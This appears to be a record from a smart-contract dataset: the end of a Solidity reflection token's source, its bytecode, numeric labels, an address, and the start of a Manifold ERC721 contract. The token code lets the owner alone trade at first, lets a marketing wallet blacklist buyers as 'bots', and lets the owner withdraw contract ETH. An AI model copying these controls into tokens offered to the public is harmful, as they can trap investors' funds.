_previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; //add liquidity swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves // add the marketing wallet uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); uint256 marketingshare = newBalance.mul(80).div(100); payable(marketingWallet).transfer(marketingshare); newBalance -= marketingshare; // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!canTrade){ require(sender == owner()); // only owner allowed to trade or add liquidity } if(botWallets[sender] || botWallets[recipient]){ require(botscantrade, "bots arent allowed to trade"); } if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } }
0x6080604052600436106103395760003560e01c80636b35b93d116101ab578063a69df4b5116100f7578063d4a3883f11610095578063e8c4c43c1161006f578063e8c4c43c146109ba578063ea2f0b37146109cf578063f2fde38b146109ef578063fc3fc90a14610a0f57600080fd5b8063d4a3883f14610934578063dd46706414610954578063dd62ed3e1461097457600080fd5b8063b6c52324116100d1578063b6c52324146108c9578063c49b9a80146108de578063c79d4762146108fe578063d12a76881461091e57600080fd5b8063a69df4b51461087f578063a9059cbb14610894578063b62b343d146108b457600080fd5b80637d1db4a5116101645780638da5cb5b1161013e5780638da5cb5b1461081757806395d89b4114610835578063a457c2d71461084a578063a63342311461086a57600080fd5b80637d1db4a5146107a857806388f82020146107be5780638ba4cc3c146107f757600080fd5b80636b35b93d146107085780636bc87c3a1461071d57806370a0823114610733578063715018a61461075357806375f0a87414610768578063764d72bf1461078857600080fd5b80633685d4191161028557806348c54b9d1161022357806352390c02116101fd57806352390c02146106565780635342acb4146106765780635d098b38146106af57806360d48489146106cf57600080fd5b806348c54b9d146105ee57806349bd5a5e146106035780634a74bb021461063757600080fd5b80633b124fe71161025f5780633b124fe7146105785780633bd5d1731461058e578063437823ec146105ae5780634549b039146105ce57600080fd5b80633685d4191461051857806339509351146105385780633ae7dc201461055857600080fd5b806318160ddd116102f25780632a360631116102cc5780632a360631146104975780632d838119146104b75780632f05205c146104d7578063313ce567146104f657600080fd5b806318160ddd1461044257806323b872dd1461045757806329e04b4a1461047757600080fd5b80630305caff1461034557806306fdde0314610367578063095ea7b3146103925780630b8f1ff8146103c257806313114a9d146103d75780631694505e146103f657600080fd5b3661034057005b600080fd5b34801561035157600080fd5b50610365610360366004612e27565b610a2f565b005b34801561037357600080fd5b5061037c610a83565b6040516103899190612e44565b60405180910390f35b34801561039e57600080fd5b506103b26103ad366004612e99565b610b15565b6040519015158152602001610389565b3480156103ce57600080fd5b50610365610b2c565b3480156103e357600080fd5b50600d545b604051908152602001610389565b34801561040257600080fd5b5061042a7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b039091168152602001610389565b34801561044e57600080fd5b50600b546103e8565b34801561046357600080fd5b506103b2610472366004612ec5565b610b62565b34801561048357600080fd5b50610365610492366004612f06565b610bcb565b3480156104a357600080fd5b506103656104b2366004612e27565b610c75565b3480156104c357600080fd5b506103e86104d2366004612f06565b610cc3565b3480156104e357600080fd5b50600a546103b290610100900460ff1681565b34801561050257600080fd5b5060115460405160ff9091168152602001610389565b34801561052457600080fd5b50610365610533366004612e27565b610d47565b34801561054457600080fd5b506103b2610553366004612e99565b610efe565b34801561056457600080fd5b50610365610573366004612f1f565b610f34565b34801561058457600080fd5b506103e860125481565b34801561059a57600080fd5b506103656105a9366004612f06565b611062565b3480156105ba57600080fd5b506103656105c9366004612e27565b61114c565b3480156105da57600080fd5b506103e86105e9366004612f66565b61119a565b3480156105fa57600080fd5b50610365611227565b34801561060f57600080fd5b5061042a7f00000000000000000000000000aaaaab118bc23a72f76bb269e65215842ef90281565b34801561064357600080fd5b506016546103b290610100900460ff1681565b34801561066257600080fd5b50610365610671366004612e27565b61128d565b34801561068257600080fd5b506103b2610691366004612e27565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156106bb57600080fd5b506103656106ca366004612e27565b6113e0565b3480156106db57600080fd5b506103b26106ea366004612e27565b6001600160a01b031660009081526009602052604090205460ff1690565b34801561071457600080fd5b5061036561142c565b34801561072957600080fd5b506103e860145481565b34801561073f57600080fd5b506103e861074e366004612e27565b611462565b34801561075f57600080fd5b506103656114c1565b34801561077457600080fd5b50600e5461042a906001600160a01b031681565b34801561079457600080fd5b506103656107a3366004612e27565b611523565b3480156107b457600080fd5b506103e860175481565b3480156107ca57600080fd5b506103b26107d9366004612e27565b6001600160a01b031660009081526007602052604090205460ff1690565b34801561080357600080fd5b50610365610812366004612e99565b611582565b34801561082357600080fd5b506000546001600160a01b031661042a565b34801561084157600080fd5b5061037c6115dd565b34801561085657600080fd5b506103b2610865366004612e99565b6115ec565b34801561087657600080fd5b5061036561163b565b34801561088b57600080fd5b50610365611676565b3480156108a057600080fd5b506103b26108af366004612e99565b61177c565b3480156108c057600080fd5b50610365611789565b3480156108d557600080fd5b506002546103e8565b3480156108ea57600080fd5b506103656108f9366004612f8b565b6117bf565b34801561090a57600080fd5b50610365610919366004612ff4565b61183d565b34801561092a57600080fd5b506103e860185481565b34801561094057600080fd5b5061036561094f366004613036565b6118c4565b34801561096057600080fd5b5061036561096f366004612f06565b6119b7565b34801561098057600080fd5b506103e861098f366004612f1f565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156109c657600080fd5b50610365611a3c565b3480156109db57600080fd5b506103656109ea366004612e27565b611a75565b3480156109fb57600080fd5b50610365610a0a366004612e27565b611ac0565b348015610a1b57600080fd5b50610365610a2a366004612ff4565b611b98565b6000546001600160a01b03163314610a625760405162461bcd60e51b8152600401610a59906130a2565b60405180910390fd5b6001600160a01b03166000908152600960205260409020805460ff19169055565b6060600f8054610a92906130d7565b80601f0160208091040260200160405190810160405280929190818152602001828054610abe906130d7565b8015610b0b5780601f10610ae057610100808354040283529160200191610b0b565b820191906000526020600020905b815481529060010190602001808311610aee57829003601f168201915b5050505050905090565b6000610b22338484611c32565b5060015b92915050565b6000546001600160a01b03163314610b565760405162461bcd60e51b8152600401610a59906130a2565b60026012556005601455565b6000610b6f848484611d56565b610bc18433610bbc856040518060600160405280602881526020016132d2602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190612007565b611c32565b5060019392505050565b6000546001600160a01b03163314610bf55760405162461bcd60e51b8152600401610a59906130a2565b620f42408111610c615760405162461bcd60e51b815260206004820152603160248201527f53776170205468726573686f6c6420416d6f756e742063616e6e6f742062652060448201527006c657373207468616e203130303030303607c1b6064820152608401610a59565b610c6f81633b9aca00613128565b60185550565b6000546001600160a01b03163314610c9f5760405162461bcd60e51b8152600401610a59906130a2565b6001600160a01b03166000908152600960205260409020805460ff19166001179055565b6000600c54821115610d2a5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610a59565b6000610d34612041565b9050610d408382612064565b9392505050565b6000546001600160a01b03163314610d715760405162461bcd60e51b8152600401610a59906130a2565b6001600160a01b03811660009081526007602052604090205460ff16610dd95760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610a59565b60005b600854811015610efa57816001600160a01b031660088281548110610e0357610e03613147565b6000918252602090912001546001600160a01b03161415610ee85760088054610e2e9060019061315d565b81548110610e3e57610e3e613147565b600091825260209091200154600880546001600160a01b039092169183908110610e6a57610e6a613147565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600482526040808220829055600790925220805460ff191690556008805480610ec257610ec2613174565b600082815260209020810160001990810180546001600160a01b03191690550190555050565b80610ef28161318a565b915050610ddc565b5050565b3360008181526005602090815260408083206001600160a01b03871684529091528120549091610b22918590610bbc90866120a6565b6000546001600160a01b03163314610f5e5760405162461bcd60e51b8152600401610a59906130a2565b6040516370a0823160e01b81523060048201526001600160a01b0383169063a9059cbb90839083906370a082319060240160206040518083038186803b158015610fa757600080fd5b505afa158015610fbb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fdf91906131a5565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b15801561102557600080fd5b505af1158015611039573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061105d91906131be565b505050565b3360008181526007602052604090205460ff16156110d75760405162461bcd60e51b815260206004820152602c60248201527f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460448201526b3434b990333ab731ba34b7b760a11b6064820152608401610a59565b60006110e283612105565b505050506001600160a01b03841660009081526003602052604090205491925061110e91905082612154565b6001600160a01b038316600090815260036020526040902055600c546111349082612154565b600c55600d5461114490846120a6565b600d55505050565b6000546001600160a01b031633146111765760405162461bcd60e51b8152600401610a59906130a2565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6000600b548311156111ee5760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c79006044820152606401610a59565b8161120d5760006111fe84612105565b50939550610b26945050505050565b600061121884612105565b50929550610b26945050505050565b6000546001600160a01b031633146112515760405162461bcd60e51b8152600401610a59906130a2565b600e546040516001600160a01b03909116904780156108fc02916000818181858888f1935050505015801561128a573d6000803e3d6000fd5b50565b6000546001600160a01b031633146112b75760405162461bcd60e51b8152600401610a59906130a2565b6001600160a01b03811660009081526007602052604090205460ff16156113205760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610a59565b6001600160a01b0381166000908152600360205260409020541561137a576001600160a01b03811660009081526003602052604090205461136090610cc3565b6001600160a01b0382166000908152600460205260409020555b6001600160a01b03166000818152600760205260408120805460ff191660019081179091556008805491820181559091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30180546001600160a01b0319169091179055565b6000546001600160a01b0316331461140a5760405162461bcd60e51b8152600401610a59906130a2565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146114565760405162461bcd60e51b8152600401610a59906130a2565b60006012819055601455565b6001600160a01b03811660009081526007602052604081205460ff161561149f57506001600160a01b031660009081526004602052604090205490565b6001600160a01b038216600090815260036020526040902054610b2690610cc3565b6000546001600160a01b031633146114eb5760405162461bcd60e51b8152600401610a59906130a2565b600080546040516001600160a01b03909116906000805160206132fa833981519152908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461154d5760405162461bcd60e51b8152600401610a59906130a2565b6040516001600160a01b038216904780156108fc02916000818181858888f19350505050158015610efa573d6000803e3d6000fd5b6000546001600160a01b031633146115ac5760405162461bcd60e51b8152600401610a59906130a2565b6115b4612196565b6115cc33836115c784633b9aca00613128565b611d56565b610efa601354601255601554601455565b606060108054610a92906130d7565b6000610b223384610bbc8560405180606001604052806025815260200161331a602591393360009081526005602090815260408083206001600160a01b038d1684529091529020549190612007565b6000546001600160a01b031633146116655760405162461bcd60e51b8152600401610a59906130a2565b600a805461ff001916610100179055565b6001546001600160a01b031633146116dc5760405162461bcd60e51b815260206004820152602360248201527f596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6044820152626f636b60e81b6064820152608401610a59565b600254421161172d5760405162461bcd60e51b815260206004820152601f60248201527f436f6e7472616374206973206c6f636b656420756e74696c20372064617973006044820152606401610a59565b600154600080546040516001600160a01b0393841693909116916000805160206132fa83398151915291a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b6000610b22338484611d56565b6000546001600160a01b031633146117b35760405162461bcd60e51b8152600401610a59906130a2565b6002601255600a601455565b6000546001600160a01b031633146117e95760405162461bcd60e51b8152600401610a59906130a2565b601680548215156101000261ff00199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061183290831515815260200190565b60405180910390a150565b600e546001600160a01b0316331461185457600080fd5b60005b8181101561105d5760016009600085858581811061187757611877613147565b905060200201602081019061188c9190612e27565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790556118bd8161318a565b9050611857565b6000546001600160a01b031633146118ee5760405162461bcd60e51b8152600401610a59906130a2565b600083821461193f5760405162461bcd60e51b815260206004820152601760248201527f6d757374206265207468652073616d65206c656e6774680000000000000000006044820152606401610a59565b838110156119b05761199e85858381811061195c5761195c613147565b90506020020160208101906119719190612e27565b84848481811061198357611983613147565b90506020020135633b9aca006119999190613128565b6121c4565b6119a96001826131db565b905061193f565b5050505050565b6000546001600160a01b031633146119e15760405162461bcd60e51b8152600401610a59906130a2565b60008054600180546001600160a01b03199081166001600160a01b03841617909155169055611a1081426131db565b600255600080546040516001600160a01b03909116906000805160206132fa833981519152908390a350565b6000546001600160a01b03163314611a665760405162461bcd60e51b8152600401610a59906130a2565b683635c9adc5dea00000601755565b6000546001600160a01b03163314611a9f5760405162461bcd60e51b8152600401610a59906130a2565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b03163314611aea5760405162461bcd60e51b8152600401610a59906130a2565b6001600160a01b038116611b4f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a59565b600080546040516001600160a01b03808516939216916000805160206132fa83398151915291a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314611bc25760405162461bcd60e51b8152600401610a59906130a2565b60005b8181101561105d57600160096000858585818110611be557611be5613147565b9050602002016020810190611bfa9190612e27565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055611c2b8161318a565b9050611bc5565b6001600160a01b038316611c945760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a59565b6001600160a01b038216611cf55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a59565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316611dba5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610a59565b6001600160a01b038216611e1c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610a59565b60008111611e7e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610a59565b6000546001600160a01b03848116911614801590611eaa57506000546001600160a01b03838116911614155b15611f1257601754811115611f125760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610a59565b6000611f1d30611462565b90506017548110611f2d57506017545b60185481108015908190611f44575060165460ff16155b8015611f8257507f00000000000000000000000000aaaaab118bc23a72f76bb269e65215842ef9026001600160a01b0316856001600160a01b031614155b8015611f955750601654610100900460ff165b15611fa8576018549150611fa8826121d7565b6001600160a01b03851660009081526006602052604090205460019060ff1680611fea57506001600160a01b03851660009081526006602052604090205460ff165b15611ff3575060005b611fff868686846122d6565b505050505050565b6000818484111561202b5760405162461bcd60e51b8152600401610a599190612e44565b506000612038848661315d565b95945050505050565b600080600061204e612512565b909250905061205d8282612064565b9250505090565b6000610d4083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612694565b6000806120b383856131db565b905083811015610d405760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610a59565b600080600080600080600080600061211c8a6126c2565b925092509250600080600061213a8d8686612135612041565b612704565b919f909e50909c50959a5093985091965092945050505050565b6000610d4083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612007565b6012541580156121a65750601454155b156121ad57565b601280546013556014805460155560009182905555565b6121cc612196565b6115cc338383611d56565b6016805460ff1916600117905560006121f1826002612064565b905060006121ff8383612154565b90504761220b83612754565b60006122174783612154565b90506000612231606461222b84605061291b565b90612064565b600e546040519192506001600160a01b03169082156108fc029083906000818181858888f1935050505015801561226c573d6000803e3d6000fd5b50612277818361315d565b9150612283848361299a565b60408051868152602081018490529081018590527f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619060600160405180910390a150506016805460ff1916905550505050565b600a54610100900460ff166122ff576000546001600160a01b038581169116146122ff57600080fd5b6001600160a01b03841660009081526009602052604090205460ff168061233e57506001600160a01b03831660009081526009602052604090205460ff165b1561239557600a5460ff166123955760405162461bcd60e51b815260206004820152601b60248201527f626f7473206172656e7420616c6c6f77656420746f20747261646500000000006044820152606401610a59565b806123a2576123a2612196565b6001600160a01b03841660009081526007602052604090205460ff1680156123e357506001600160a01b03831660009081526007602052604090205460ff16155b156123f8576123f3848484612aa8565b6124f6565b6001600160a01b03841660009081526007602052604090205460ff1615801561243957506001600160a01b03831660009081526007602052604090205460ff165b15612449576123f3848484612bce565b6001600160a01b03841660009081526007602052604090205460ff1615801561248b57506001600160a01b03831660009081526007602052604090205460ff16155b1561249b576123f3848484612c77565b6001600160a01b03841660009081526007602052604090205460ff1680156124db57506001600160a01b03831660009081526007602052604090205460ff165b156124eb576123f3848484612cbb565b6124f6848484612c77565b8061250c5761250c601354601255601554601455565b50505050565b600c54600b546000918291825b6008548110156126645782600360006008848154811061254157612541613147565b60009182526020808320909101546001600160a01b0316835282019290925260400190205411806125ac575081600460006008848154811061258557612585613147565b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b156125c257600c54600b54945094505050509091565b61260860036000600884815481106125dc576125dc613147565b60009182526020808320909101546001600160a01b031683528201929092526040019020548490612154565b9250612650600460006008848154811061262457612624613147565b60009182526020808320909101546001600160a01b031683528201929092526040019020548390612154565b91508061265c8161318a565b91505061251f565b50600b54600c5461267491612064565b82101561268b57600c54600b549350935050509091565b90939092509050565b600081836126b55760405162461bcd60e51b8152600401610a599190612e44565b50600061203884866131f3565b6000806000806126d185612d2e565b905060006126de86612d4a565b905060006126f6826126f08986612154565b90612154565b979296509094509092505050565b6000808080612713888661291b565b90506000612721888761291b565b9050600061272f888861291b565b90506000612741826126f08686612154565b939b939a50919850919650505050505050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061278957612789613147565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561280257600080fd5b505afa158015612816573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061283a9190613215565b8160018151811061284d5761284d613147565b60200260200101906001600160a01b031690816001600160a01b031681525050612898307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611c32565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac947906128ed908590600090869030904290600401613232565b600060405180830381600087803b15801561290757600080fd5b505af1158015611fff573d6000803e3d6000fd5b60008261292a57506000610b26565b60006129368385613128565b90508261294385836131f3565b14610d405760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610a59565b6129c5307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611c32565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663f305d719823085600080612a0c6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015612a6f57600080fd5b505af1158015612a83573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906119b091906132a3565b600080600080600080612aba87612105565b6001600160a01b038f16600090815260046020526040902054959b50939950919750955093509150612aec9088612154565b6001600160a01b038a16600090815260046020908152604080832093909355600390522054612b1b9087612154565b6001600160a01b03808b1660009081526003602052604080822093909355908a1681522054612b4a90866120a6565b6001600160a01b038916600090815260036020526040902055612b6c81612d66565b612b768483612dee565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612bbb91815260200190565b60405180910390a3505050505050505050565b600080600080600080612be087612105565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150612c129087612154565b6001600160a01b03808b16600090815260036020908152604080832094909455918b16815260049091522054612c4890846120a6565b6001600160a01b038916600090815260046020908152604080832093909355600390522054612b4a90866120a6565b600080600080600080612c8987612105565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150612b1b9087612154565b600080600080600080612ccd87612105565b6001600160a01b038f16600090815260046020526040902054959b50939950919750955093509150612cff9088612154565b6001600160a01b038a16600090815260046020908152604080832093909355600390522054612c129087612154565b6000610b26606461222b6012548561291b90919063ffffffff16565b6000610b26606461222b6014548561291b90919063ffffffff16565b6000612d70612041565b90506000612d7e838361291b565b30600090815260036020526040902054909150612d9b90826120a6565b3060009081526003602090815260408083209390935560079052205460ff161561105d5730600090815260046020526040902054612dd990846120a6565b30600090815260046020526040902055505050565b600c54612dfb9083612154565b600c55600d54612e0b90826120a6565b600d555050565b6001600160a01b038116811461128a57600080fd5b600060208284031215612e3957600080fd5b8135610d4081612e12565b600060208083528351808285015260005b81811015612e7157858101830151858201604001528201612e55565b81811115612e83576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215612eac57600080fd5b8235612eb781612e12565b946020939093013593505050565b600080600060608486031215612eda57600080fd5b8335612ee581612e12565b92506020840135612ef581612e12565b929592945050506040919091013590565b600060208284031215612f1857600080fd5b5035919050565b60008060408385031215612f3257600080fd5b8235612f3d81612e12565b91506020830135612f4d81612e12565b809150509250929050565b801515811461128a57600080fd5b60008060408385031215612f7957600080fd5b823591506020830135612f4d81612f58565b600060208284031215612f9d57600080fd5b8135610d4081612f58565b60008083601f840112612fba57600080fd5b50813567ffffffffffffffff811115612fd257600080fd5b6020830191508360208260051b8501011115612fed57600080fd5b9250929050565b6000806020838503121561300757600080fd5b823567ffffffffffffffff81111561301e57600080fd5b61302a85828601612fa8565b90969095509350505050565b6000806000806040858703121561304c57600080fd5b843567ffffffffffffffff8082111561306457600080fd5b61307088838901612fa8565b9096509450602087013591508082111561308957600080fd5b5061309687828801612fa8565b95989497509550505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c908216806130eb57607f821691505b6020821081141561310c57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600081600019048311821515161561314257613142613112565b500290565b634e487b7160e01b600052603260045260246000fd5b60008282101561316f5761316f613112565b500390565b634e487b7160e01b600052603160045260246000fd5b600060001982141561319e5761319e613112565b5060010190565b6000602082840312156131b757600080fd5b5051919050565b6000602082840312156131d057600080fd5b8151610d4081612f58565b600082198211156131ee576131ee613112565b500190565b60008261321057634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561322757600080fd5b8151610d4081612e12565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156132825784516001600160a01b03168352938301939183019160010161325d565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156132b857600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63658be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e045524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c46d6c2eaae894abca1f74ac5cf3022eb7968dee6ff1811170daac43c073982b64736f6c63430008090033
[ 13, 16, 5, 12 ]
0xf31a6577126e33a814ef0bc15413501080d355b8
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: Tangible Grids /// @author: manifold.xyz import "./ERC721Creator.sol"; ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // // // // // _____ _____ _____ _____ _____ // // /\ \ /\ \ /\ \ /\ \ /\ \ // // /::\ \ /::\ \ /::\____\/::\____\ /::\ \ // // /::::\ \ \:::\ \ /:::/ /::::| | /::::\ \ // // /::::::\ \ \:::\ \ /:::/ /:::::| | /::::::\ \ // // /:::/\:::\ \ \:::\ \ /:::/ /::::::| | /:::/\:::\ \ // // /:::/__\:::\ \ \:::\ \ /:::/ /:::/|::| | /:::/ \:::\ \ // // /::::\ \:::\ \ /::::\ \ /:::/ /:::/ |::| | /:::/ \:::\ \ // // /::::::\ \:::\ \ ____ /::::::\ \ /:::/ /:::/ |::| | _____ /:::/ / \:::\ \ // // /:::/\:::\ \:::\ ___\ /\ \ /:::/\:::\ \ /:::/ /:::/ |::| |/\ \ /:::/ / \:::\ ___\ // // /:::/__\:::\ \:::| /::\ \/:::/ \:::\____/:::/____/:: / |::| /::\____/:::/____/ \:::| | // // \:::\ \:::\ /:::|____\:::\ /:::/ \::/ \:::\ \::/ /|::| /:::/ \:::\ \ /:::|____| // // \:::\ \:::\/:::/ / \:::\/:::/ / \/____/ \:::\ \/____/ |::| /:::/ / \:::\ \ /:::/ / // // \:::\ \::::::/ / \::::::/ / \:::\ \ |::|/:::/ / \:::\ \ /:::/ / // // \:::\ \::::/ / \::::/____/ \:::\ \ |::::::/ / \:::\ /:::/ / // // \:::\ /:::/ / \:::\ \ \:::\ \ |:::::/ / \:::\ /:::/ / 